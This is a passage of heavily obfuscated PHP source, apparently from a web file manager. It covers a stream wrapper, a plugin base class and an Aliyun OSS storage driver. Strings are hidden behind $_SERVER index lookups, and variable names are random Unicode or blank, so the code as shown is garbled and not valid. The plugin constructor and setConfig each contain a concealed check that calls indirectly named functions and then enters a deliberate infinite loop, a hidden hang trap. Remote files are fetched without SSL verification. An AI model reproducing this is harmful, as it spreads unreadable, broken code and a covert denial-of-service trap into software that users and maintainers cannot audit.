= '') { $this->info = $this->info($ɑ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][87]]; $this->pathOpen = $ɑ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$ɑ])) { self::$_chunkBuffer[$ɑ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ߨ = $this->fileSubstr($this->pose, $); $this->pose += strlen($ߨ); return $ߨ; } public function stream_tell() { return $this->pose; } public function stream_seek($׈, $ϑ) { $ =& $_SERVER[]; if ($ϑ == SEEK_SET) { $this->pose = $׈; } else { if ($ϑ == SEEK_CUR) { $this->pose += $׈; } else { if ($ϑ == SEEK_END) { $this->pose = $this->info[$[79]] + intval($׈); } } } if ($׈ < 0) { $this->pose = $this->info[$[79]] + $׈; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($՛, $񮶣) { $ =& $_SERVER[]; $챌Ā = $this->info($՛); return array($[1592] => 0, $[1593] => 0, $[16] => 32768 + 511, $[1594] => 0, $[1595] => 0, $[1596] => 0, $[1597] => 0, $[79] => $챌Ā[$[79]], $[1598] => $챌Ā[$[1423]], $[1554] => $챌Ā[$[88]], $[1553] => $챌Ā[$[222]], $[1599] => 0, $[1600] => 0); } static $fileInfo = array(); public function info($姞) { $ = $_SERVER[][1601]; if (isset(self::$fileInfo[$姞])) { return self::$fileInfo[$姞]; } if (substr($姞, 0, strlen($)) != $) { return !1; } self::$fileInfo[$姞] = IO::info(substr($姞, strlen($))); return self::$fileInfo[$姞]; } public static function read($, $, $ކЋ) { if (!isset(self::$_fopenCache[$])) { $ϲ = new StreamWrapperIO(); $ϲ->stream_open($); self::$_fopenCache[$] = $ϲ; } $ϲ = self::$_fopenCache[$]; return $ϲ->fileSubstr($, $ކЋ); } public static function _read($؂׀, $׻, $Ə) { $վ =& $_SERVER[]; $ = fopen($؂׀, $վ[1427]); if (!$) { return $վ[12]; } $ڣ = 8192; fseek($, $׻, SEEK_SET); $騍 = $վ[12]; $̩߇ = 0; while ($̩߇ < $Ə) { $ = min($ڣ, $Ə - $̩߇); $騍 .= fread($, $); $̩߇ += $; } fclose($); return $騍; } public function fileSubstr($Ȯ, $Ԫԙ) { $ݨ٤ =& $_SERVER[]; $ = $this->info[$ݨ٤[79]]; $ = $Ȯ; $ = $Ԫԙ; if ($Ȯ < 0) { $Ȯ = $ + $Ȯ; } if ($Ԫԙ === !1) { $Ԫԙ = $ - $Ȯ; } if ($Ȯ + $Ԫԙ > $) { $Ԫԙ = $ - $Ȯ; } if ($Ԫԙ <= 0) { return $ݨ٤[12]; } if ($Ȯ < 0 || $Ȯ >= $ || $Ԫԙ <= 0 || $Ԫԙ > 1024 * 1024 * 10) { throw new Exception("\151\157\106\151\154\x65\122\x65\141\x64\x20\x65\x72\x72\157\x72\41\40\x73\x74\x61\162\164\75{$Ȯ}\73\154\x65\x6e\147\x74\150\75{$Ԫԙ}\x3b\40\x73\x69\x7a\145\75{$}\x3b"); } $ = 64 * 1024; $Ż =& self::$_chunkBuffer[$this->path]; if (!$Ż) { $Ż = array(); } $ = 0; $ʁ = 0; $ = $ݨ٤[12]; foreach ($Ż as $ => $) { $ = intval($); $ʁ = $ + strlen($); if ($Ȯ >= $ʁ) { continue; } if ($Ȯ >= $ && $Ȯ + $Ԫԙ <= $ʁ) { return substr($, $Ȯ - $, $Ԫԙ); } break; } if (count($Ż) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($ݨ٤[1602], $ݨ٤[1603] . count($Ż) . "\73\163\x74\x61\x72\164\75{$Ȯ}\54\154\145\x6e\x67\164\x68\x3d{$Ԫԙ}\73\x70\157\x73\x65\x3a{$}\x7e{$ʁ}"); throw new Exception($ݨ٤[1604]); } $ȕΊ = intval($Ȯ / $) * $; $ = ceil(($Ȯ + $Ԫԙ) / $) * $ - $ȕΊ; $ = IO::fileSubstr($this->path, $ȕΊ, $); $Ż[$ȕΊ . $ݨ٤[12]] = $; ksort($Ż); $– = substr($, $Ȯ - $ȕΊ, $Ԫԙ); return $–; } private function log($獛, $ƨ) { $՜ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($՜[1605], $獛, $this->info[$՜[32]], $, $ƨ), $՜[1236]); } } class Message { function __construct() { } public function send($㝏 = '', $ = array(), $ӱ = "\x74\145\x78\164") { $ =& $_SERVER[]; $ѩ = array($[33] => $[1606], $[799] => $㝏); if (in_array($ӱ, array($[1606], $[1607]))) { $ѩ[$[33]] = $ӱ; } $ = array($[554] => isset($[$[554]]) ? $[$[554]] : $[12], $[637] => isset($[$[637]]) ? $[$[637]] : $[12]); if (empty($㝏) || empty($[$[554]]) && empty($[$[637]])) { return !1; } $釛 = array($[1534] => $ѩ, $[1608] => $); Hook::trigger($[1609], $釛); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ۆ =& $_SERVER[]; if (!isset($_SERVER[$ۆ[921]]) || !isset($_SERVER[$ۆ[922]])) { $ʇД = $ۆ[923]; $О = $ۆ[924]; $ѯ = $_SERVER[$ۆ[925]] . $ۆ[926]; $˲˹ = $О($ѯ); $Ε؄ = explode($ۆ[253], $˲˹); if (count($Ε؄) < $ۆ[663]) { $Η = $ۆ[927]; $Η(); } $̈́ = $ۆ[928]; $̈́($_SERVER[$ۆ[929]]); $ = 1; for ($ф = $; $ф > 0; $ф++) { $̈́ = json_encode($GLOBALS[$ۆ[467]]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ۆ[1610]); $this->pluginName = str_replace($ۆ[1610], $ۆ[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ۆ[8]; $this->pluginApi = appHostGet() . $ۆ[1611] . $this->pluginName . $ۆ[8]; $this->pluginHost = $config[$ۆ[1612]] . $this->pluginName . $ۆ[8]; $this->pluginHostDefault = $config[$ۆ[1612]] . $this->pluginName . $ۆ[8]; $ꮷӎ = $config[$ۆ[1613]]; if ($ꮷӎ && strpos($ۆ[50] . $ꮷӎ . $ۆ[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ۆ[1614]] . $this->pluginName . $ۆ[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1615]); } protected function assign($Ԅ, $ώ = false) { if (is_array($Ԅ)) { $this->values = array_merge($this->values, $Ԅ); } else { $this->values[$Ԅ] = $ώ; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $소 =& $_SERVER[]; $ꑶ = $this->appPackage(); $ = $소[12]; if (isset($ꑶ[$소[465]])) { if (isset($ꑶ[$소[465]][$소[1616]])) { $ = $소[1617] . $ꑶ[$소[465]][$소[1616]] . $소[1618]; } else { if ($ꑶ[$소[465]][$소[1619]]) { $ = $소[1620] . $ꑶ[$소[465]][$소[1619]] . $소[1621]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $[1622] . rawurlencode(this_url()); show_tips(LNG($[1623]) . $[1624] . $ . $[1625] . LNG($[1626]) . $[1627], !1); } if (!Action($[1628])->authCan($[1629])) { show_tips(LNG($[1630]) . $[1631], !1); } ActionCall($[1632], $); } final function isShare($) { $ = KodIO::parse($); return $[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1228])->linkOut($); } public function filePathLinkOut($ˆֈ) { if (request_url_safe($ˆֈ)) { return $ˆֈ; } $this->fileCanView($ˆֈ); return Action($_SERVER[][1228])->link($ˆֈ); } final function filePath($ޮ, $ = true, $“ = false) { $匳 =& $_SERVER[]; $俉 = $this->filePathGet($ޮ, $); if (!$this->fileInfo) { show_tips(LNG($匳[108]), !1); } if ($“ && isset($this->fileInfo[$匳[516]]) && $this->fileInfo[$匳[516]]) { $ɘ = Model($匳[519])->fileInfo($this->fileInfo[$匳[516]]); if (!$ɘ || !IO::exist($ɘ[$匳[87]])) { show_tips(LNG($匳[108]) . $匳[1633]); } } Hook::trigger($匳[1634], $俉); return $俉; } final function filePathGet($׹, $DZ = true) { $ƹ =& $_SERVER[]; if ($ = $this->checkSharePath($׹, $DZ)) { return $; } $this->fileCanView($׹); if (request_url_safe($׹)) { $҃ = parse_url_query($׹); if (isset($҃[$ƹ[1635]]) && isset($҃[$ƹ[225]])) { $ = Mcrypt::decode($҃[$ƹ[225]], Model($ƹ[815])->get($ƹ[816])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$ƹ[1636]] = $׹; $this->cachePath = $this->pluginCachePath($ƹ[12], $DZ); return $; } } $׹ = $this->_cacheHttpFile($׹, $DZ); $this->fileInfo = IO::info($׹); } else { $this->fileInfo = IO::info($׹); $this->cachePath = $this->pluginCachePath($ƹ[12], $DZ); } return $׹; } final function _cacheHttpFile($լ, $ = true) { $ށ =& $_SERVER[]; $ = parse_url_query($լ); $ޫ = get_path_ext($լ); if (isset($[$ށ[32]]) && $[$ށ[32]]) { $ޫ = get_path_ext($[$ށ[32]]); } $ӷ͈ = hash_path($լ) . $ށ[10] . $ޫ; $this->cachePath = $this->pluginCachePath($ ? $ӷ͈ : $ށ[12]); $ԧ = IO::fileNameExist($this->cachePath, $ӷ͈); if ($ԧ) { return KodIO::make($ԧ); } $› = rtrim($this->cachePath, $ށ[8]) . $ށ[8] . $ӷ͈; return $this->pluginCacheFileSet($›, file_get_contents_nossl($լ)); } final function checkSharePath($݌, $ = true) { $с =& $_SERVER[]; if (!$this->isShare($݌)) { return !1; } $ = Action($с[1228])->sharePathInfo($݌); if (!is_array($) || !isset($[$с[87]])) { show_json(LNG($с[1637]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $); return $[$с[87]]; } final function pluginCachePath($ɓʢ = '', $ƍ = false) { $ȵ =& $_SERVER[]; if ($ƍ && is_array($this->fileInfo)) { $ɓʢ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $ȵ[1638] . $this->pluginName . $ȵ[8] . $ɓʢ, $ȵ[8]); $ = IO::infoFullSimple($); $ = $ && is_array($) ? $[$ȵ[87]] : $ȵ[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet($Ġ͖, $ԡ = '') { $ؠ =& $_SERVER[]; $ـЄ = IO::infoFullSimple($Ġ͖); if (!$ـЄ) { return IO::mkfile($Ġ͖, $ԡ, REPEAT_REPLACE); } IO::setContent($ـЄ[$ؠ[87]], $ԡ); return $ـЄ[$ؠ[87]]; } final function pluginLocalFile($ = '') { $ =& $_SERVER[]; $ɰ꿁 = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($ɰ꿁)) { mk_dir($ɰ꿁); } if (!$) { return $ɰ꿁; } $ٙ = IO::info($); $ޣ = $[1639] . KodIO::hashPath($ٙ) . $[10] . $ٙ[$[178]]; if (!checkExtSafe($ޣ)) { $ޣ = $ޣ . $[1260]; } $Γ = $ɰ꿁 . $ޣ; if (@file_exists($Γ)) { return $Γ; } return IO::copy($, $ɰ꿁, 0, $ޣ); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ٵ = $this->parseFile($this->pluginPath . $[1640]); $this->parseLang($ٵ); $õ = json_decode_force($ٵ); if (!$õ) { return array(); } $ = Hook::trigger($[1641], $õ); if ($ && is_array($)) { $õ = $; } $this->packageData = $õ; return $õ; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1642]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1643]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1644]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($ֹ) { $ =& $_SERVER[]; $ = file_get_contents_nossl($ֹ); $ = array($[1645], $[1646], $[1647], $[1648], $[1649], $[1650], $[1651]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[92]][$[1652]]); foreach ($this->echoJsAssignArr as $µ => $) { $[] = $[1653] . $µ . $[1654]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $[1655])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1655], $, $); } if (strstr($, $[1656])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1656], $, $); } $ = str_replace($, $, $); return $; } private function parseLang(&$ݯ) { $˲ =& $_SERVER[]; $ґ꾇 = $˲[1657]; if (!strstr($ݯ, $ґ꾇)) { return; } preg_match_all($˲[1658], $ݯ, $ܫ); if (!is_array($ܫ) || count($ܫ) == 0 || !is_array($ܫ[0]) || count($ܫ[0]) == 0) { return; } $ = array(); $ړ = array(); foreach ($ܫ[0] as $С) { $ڍ = substr($С, strlen($ґ꾇), -4); $؅ = LNG($ڍ); $[] = $С; $ړ[] = str_replace(array($˲[253], $˲[1129], $˲[393], $˲[121]), array($˲[53], $˲[53], $˲[12], $˲[1659]), $؅); } $ݯ = str_replace($, $ړ, $ݯ); } private function parseConfig(&$˥ە) { $Œ =& $_SERVER[]; $īĜ = $Œ[1660]; if (!strstr($˥ە, $īĜ)) { return; } preg_match_all($Œ[1661], $˥ە, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $Ɂ = $this->getConfig(); $ = array(); $ = array(); foreach ($[0] as $֜) { $ = substr($֜, strlen($īĜ), -2); $[] = $֜; $[] = _get($Ɂ, $); } $˥ە = str_replace($, $, $˥ە); } private function parsePackage(&$Ȫ) { $Լв =& $_SERVER[]; $Ӣ = $Լв[1662]; if (!strstr($Ȫ, $Ӣ)) { return; } preg_match_all($Լв[1663], $Ȫ, $ޛ); if (!is_array($ޛ) || count($ޛ) == 0 || !is_array($ޛ[0]) || count($ޛ[0]) == 0) { return; } $ˬ = $this->appPackage(); $𬊹 = array(); $ = array(); foreach ($ޛ[0] as $) { $ᖋ = substr($, strlen($Ӣ), -2); $𬊹[] = $; $[] = _get($ˬ, $ᖋ); } $Ȫ = str_replace($𬊹, $, $Ȫ); } final function echoFile($餌, $ = false) { $ϗ =& $_SERVER[]; $ٌ = $this->pluginPath . $餌; if (ACT == $ϗ[1664]) { echo $ϗ[1665] . $this->pluginName . $ϗ[8] . $餌 . $ϗ[1666]; if (!file_exists($ٌ)) { echo $ϗ[1667]; return; } } $ = $this->parseFile($ٌ); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ = str_replace(array_keys($), array_values($), $); } echo $ϗ[253] . $; } private function checkVersion() { $ =& $_SERVER[]; $ = $this->appPackage(); $© = $this->getConfig(); if ($©[$[1668]] == $[$[1642]]) { return; } $this->regist(); $this->setConfig(array($[1668] => $[$[1642]])); } final function initLang() { $ōũ =& $_SERVER[]; $Ɗ = $ōũ[1669]; $ǰ = $this->pluginPath . $ōũ[1670]; $ = I18n::getType(); $ۨ = array(); if (file_exists($ǰ . $ . $ōũ[883])) { $ۨ = (include $ǰ . $ . $ōũ[883]); } else { if ($ == $ōũ[1671] && !file_exists($ǰ . $ . $ōũ[883]) && file_exists($ǰ . $ōũ[1672])) { $ۨ = (include $ǰ . $ōũ[1672]); } else { if (file_exists($ǰ . $Ɗ . $ōũ[883])) { $ۨ = (include $ǰ . $Ɗ . $ōũ[883]); } } } if (!is_array($ۨ)) { return array(); } if (@count($ۨ) > 0) { I18n::set($ۨ); } return $ۨ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; if (!isset($_SERVER[$[921]]) || !isset($_SERVER[$[922]])) { $ݐ = $[923]; $ = $[924]; $ = $_SERVER[$[925]] . $[926]; $ђ = $($); $ĕɽ = explode($[253], $ђ); if (count($ĕɽ) < $[663]) { $Ԭ = $[927]; $Ԭ(); } $ = $[928]; $($_SERVER[$[929]]); $؂ = 1; for ($қ = $؂; $қ > 0; $қ++) { $ = json_encode($GLOBALS[$[467]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($) { } public function onGetConfig($׼) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ʉ) { if ($ʉ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ֱ = "\x70\154\x75\x67\151\x6e\101\165\164\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ = $this->getConfig(); if (!$[$ֱ]) { return !1; } return ActionCall($_SERVER[][1673], $[$ֱ]); } public function url($ٮ, $􋱄 = '', $Dzǀ = true) { $ =& $_SERVER[]; $ĭ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $˝ = $this->packageVersion(); $ = $ . $[437] . $˝; if (substr($ٮ, 0, 4) == $[152] || substr($ٮ, 0, 2) == $[1409]) { $ = $ٮ . $[1674] . $; } else { if ($􋱄 == $[12]) { $ = $this->pluginHost . $ٮ . $[1674] . $; } else { if ($􋱄 === $[78]) { $ = $this->pluginHost . $ٮ; } else { if ($􋱄 == $[1675]) { $ = STATIC_PATH . $ٮ . $[1674] . $; } else { if ($􋱄 == $[1676]) { $ = APP_HOST . $[1677] . $ٮ . $[1674] . $; } else { if (isset($ĭ[$􋱄])) { $ = $ĭ[$􋱄] . $ٮ . $[1674] . $; } } } } } } if (!$Dzǀ) { return $; } echo $; } public function link($ = false, $ʌ = '') { $ =& $_SERVER[]; if (!$) { $this->link($[1678], $[1676]); $this->link($[1679], $[1675]); $this->link($[1680], $[1675]); $this->link($[1681], $[1675]); $this->link($[1682], $[1675]); return; } $ފ = $this->url($, $ʌ, !1); if (substr($, -3) == $[1683]) { echo $[1684] . $ފ . $[1685] . $[253]; } else { if (substr($, -4) == $[1686]) { echo $[1687] . $ފ . $[1688] . $[253]; } } } } goto Eޙ; aㄇ: class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($؛) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1431]; $this->_init($؛); } public function _init($) { $샇 =& $_SERVER[]; $this->config = $; foreach ($ as $ => $Ĉɍ) { if (isset($this->{$})) { $this->{$} = $Ĉɍ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($샇[1432] . LNG($샇[1433])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $݆ =& $_SERVER[]; $ċ = new OSS\Model\CorsConfig(); $» = new OSS\Model\CorsRule(); $»->addAllowedOrigin($݆[1434]); $»->addAllowedMethod($݆[1435]); $»->addAllowedMethod($݆[1436]); $»->addAllowedMethod($݆[1437]); $»->addAllowedMethod($݆[1438]); $»->addAllowedMethod($݆[164]); $»->setMaxAgeSeconds(600); $»->addExposeHeader($݆[1439]); $»->addAllowedHeader($݆[1434]); $ċ->addRule($»); try { $this->client->putBucketCors($this->bucket, $ċ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $݆[205] . $->getMessage()); return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $й = null; try { $й = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[205] . $->getMessage()); return null; } if (!$й || !($τ = $й->getRules())) { return null; } $ = $τ[0]->getAllowedOrigins(); $ = $τ[0]->getAllowedMethods(); $ = $τ[0]->getMaxAgeSeconds(); $⻤ = $τ[0]->getExposeHeaders(); $ = $τ[0]->getAllowedHeaders(); return array($[209] => isset($[0]) ? $[0] : $[12], $[213] => $, $[1440] => $, $[1441] => isset($⻤[0]) ? $⻤[0] : $[12], $[210] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ĸ =& $_SERVER[]; $̫혌 = $this->getBucketCors(); if (!$̫혌 || !is_array($̫혌)) { return !1; } if ($̫혌[$ĸ[209]] != $ĸ[211] || $̫혌[$ĸ[210]] != $ĸ[211]) { return !1; } $魏 = array_map($ĸ[212], $̫혌[$ĸ[213]]); if (!is_array($魏)) { $魏 = array(); } $Ȇ = array($ĸ[214], $ĸ[215], $ĸ[216], $ĸ[217], $ĸ[218]); $ = array_diff($Ȇ, $魏); return empty($); } public function mkfile($, $é = '', $ˏ = REPEAT_RENAME) { $ = $this->setContent($, $é); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $Ѯ) { $this->writeLog(__FUNCTION__ . $_SERVER[][205] . $Ѯ->getMessage()); return !1; } return $this->getPathOuter($); } private function fileList($Տ, $Ƃ׮ = '', $ = 0) { $ =& $_SERVER[]; $Տ = trim($Տ, $[8]); $ = empty($Տ) && $Տ !== $[219] ? $[12] : $Տ . $[8]; $ = $[12]; $ߖ = 1000; $ = $ = array(); while (!0) { check_abort(); $贾 = array($[1442] => $Ƃ׮, $[1443] => $, $[1444] => $ߖ, $[1445] => $); try { $ = $this->client->listObjects($this->bucket, $贾); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[205] . $->getMessage()); break; } $ = $->getNextMarker(); $׏ = $->getObjectList(); $ = $->getPrefixList(); foreach ($׏ as $׌) { if ($׌->getKey() == $) { continue; } $ = $׌->getKey(); $܏ = $׌->getSize(); $֓ = $׌->getLastModified(); $ّ = trim($׌->getETag(), $[121]); $㢘 = $ ? array($[32] => $, $[79] => $܏, $[197] => strtotime($֓), $[1446] => $ّ) : $; $ = $܏ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array($[79] => $܏, $[1447] => $܏, $[88] => strtotime($֓), $[1448] => $֓, $[1446] => $ّ); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $㢘; } foreach ($ as $) { $[] = $->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($Տ, !0); return array($[85] => $, $[86] => $); } public function listObject($߂, $ = '') { $ꥀ =& $_SERVER[]; $߂ = trim($߂, $ꥀ[8]); $ = empty($߂) && $߂ !== $ꥀ[219] ? $ꥀ[12] : $߂ . $ꥀ[8]; $ = $ꥀ[12]; $ח = 1000; $޿ = $̍ݲ = array(); while (!0) { check_abort(); $ٿޛ = array($ꥀ[1442] => $, $ꥀ[1443] => $, $ꥀ[1444] => $ח, $ꥀ[1445] => $); try { $֛ = $this->client->listObjects($this->bucket, $ٿޛ); } catch (OSS\Core\OssException $Ҟ) { $this->writeLog(__FUNCTION__ . $ꥀ[205] . $Ҟ->getMessage()); break; } $ = $֛->getNextMarker(); $ = $֛->getObjectList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $ȟˑ = $->getSize(); $ = $ȟˑ == 0 && substr($, strlen($) - 1, 1) == $ꥀ[8] ? !0 : !1; if ($) { continue; } (yield $ȟˑ . $ꥀ[205] . $); } if ($ === $ꥀ[12]) { break; } } } public function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][205] . $->getMessage()); return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($, $, $); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($lj, $ů, $Ⱦ) { $ =& $_SERVER[]; try { $Ի = array(); if ($ = $this->hashMd5($lj)) { $Ի = array(OSS\OssClient::OSS_HEADERS => array($[1449] => $)); } $ϩ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ů), $Ի); $ = 1; $ = 0; $ = array(); $深 = 1024 * 1024 * 10; $͂ = $this->client->generateMultiuploadParts($Ⱦ, $深); foreach ($͂ as $ => $褑) { $׃ = $ + (int) $褑[$[1450]]; $LJ = (int) $褑[$[388]] + $׃ - 1; $ӛ = array($[1451] => $׃, $[1452] => $LJ); $[] = $this->client->uploadPartCopy($this->bucket, $lj, $this->bucket, $this->pathEncode($ů), $, $ϩ, $ӛ); $ = $ + 1; } $ɦ = array(); foreach ($ as $ => $݃) { $ɦ[] = array($[1453] => $ + 1, $[1454] => $݃); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ů), $ϩ, $ɦ); } catch (OSS\Core\OssException $Ƕ) { $this->writeLog(__FUNCTION__ . $[205] . $Ƕ->getMessage()); return !1; } return !0; } public function moveFile($إ, $󾒣) { if ($this->copyFile($إ, $󾒣)) { $this->remove($إ); return $this->getPathOuter($󾒣); } return !1; } public function delFile($˧) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($˧)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][205] . $->getMessage()); return !1; } return !0; } public function delFolder($ӝ) { $ =& $_SERVER[]; if (!$this->exist($ӝ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ӝ); $this->listItemCache = !0; $ч = trim($ӝ, $[8]) . $[8]; if (!empty($ӝ) && $ӝ !== $[219] && !in_array($ч, $[$[85]])) { $[$[85]][] = $ч; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } return $this->delFile($ч); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][205] . $->getMessage()); return !1; } } return !0; } public function rename($Ο, $) { return $this->renameObject($Ο, $); } private function fileInfo($צ, $چ = false, $垩 = array()) { $蟍ʭ =& $_SERVER[]; $׻Ɵ = array($蟍ʭ[32] => $this->pathThis($צ), $蟍ʭ[87] => $this->getPathOuter($צ), $蟍ʭ[33] => $蟍ʭ[221], $蟍ʭ[79] => isset($垩[$蟍ʭ[79]]) ? $垩[$蟍ʭ[79]] : 0, $蟍ʭ[178] => $this->ext($צ)); if ($چ) { return $׻Ɵ; } $׻Ɵ[$蟍ʭ[222]] = $׻Ɵ[$蟍ʭ[88]] = 0; $׻Ɵ[$蟍ʭ[223]] = $׻Ɵ[$蟍ʭ[224]] = !0; if (empty($垩)) { $ = $this->objectMeta($צ); if (!$) { return $׻Ɵ; } $垩 = array($蟍ʭ[88] => strtotime($[$蟍ʭ[1448]]), $蟍ʭ[79] => $[$蟍ʭ[1447]] + 0, $蟍ʭ[1446] => $[$蟍ʭ[1446]]); } if (isset($垩[$蟍ʭ[1446]]) && $垩[$蟍ʭ[1446]]) { $׻Ɵ[$蟍ʭ[226]] = trim($垩[$蟍ʭ[1446]], $蟍ʭ[121]); } if (isset($垩[$蟍ʭ[79]])) { $׻Ɵ[$蟍ʭ[79]] = $垩[$蟍ʭ[79]]; } if (isset($垩[$蟍ʭ[88]])) { $׻Ɵ[$蟍ʭ[88]] = $垩[$蟍ʭ[88]]; } if (isset($垩[$蟍ʭ[197]]) && !trim($׻Ɵ[$蟍ʭ[88]])) { $׻Ɵ[$蟍ʭ[88]] = $垩[$蟍ʭ[197]]; } return $׻Ɵ; } private function folderInfo($˥, $̃𧤴 = false, $ = array()) { $⻇ =& $_SERVER[]; $֫ = array($⻇[32] => $this->pathThis($˥), $⻇[87] => $this->getPathOuter($⻇[8] . $˥), $⻇[33] => $⻇[78]); if ($̃𧤴) { return $֫; } $֫[$⻇[222]] = $֫[$⻇[88]] = 0; $֫[$⻇[223]] = $֫[$⻇[224]] = !0; if (empty($)) { $˥ = rtrim($˥, $⻇[8]) . $⻇[8]; $ = $this->objectMeta($˥); if (!$) { return $֫; } $ = array($⻇[222] => $[$⻇[551]][$⻇[1455]], $⻇[88] => strtotime($[$⻇[1448]])); } if (isset($[$⻇[88]])) { $֫[$⻇[88]] = $[$⻇[88]]; } if (isset($[$⻇[222]])) { $֫[$⻇[222]] = $[$⻇[222]]; } return $֫; } public function listPath($ș, $ֹ = false) { $Šٻ =& $_SERVER[]; $ = $this->fileList($ș, $Šٻ[8], !0); foreach ($[$Šٻ[85]] as $݉ => $φ) { $[$Šٻ[85]][$݉] = $this->folderInfo($φ, $ֹ, $φ); } foreach ($[$Šٻ[86]] as $݉ => $φ) { $[$Šٻ[86]][$݉] = $this->fileInfo($φ[$Šٻ[32]], $ֹ, $φ); } return $; } protected function infoChildren($׊, &$) { $ڔؘ =& $_SERVER[]; $嚑݋ = $this->fileList($׊, $ڔؘ[12], !0); $[$ڔؘ[81]] += count($嚑݋[$ڔؘ[85]]); $[$ڔؘ[80]] += count($嚑݋[$ڔؘ[86]]); foreach ($嚑݋[$ڔؘ[86]] as $ݓ) 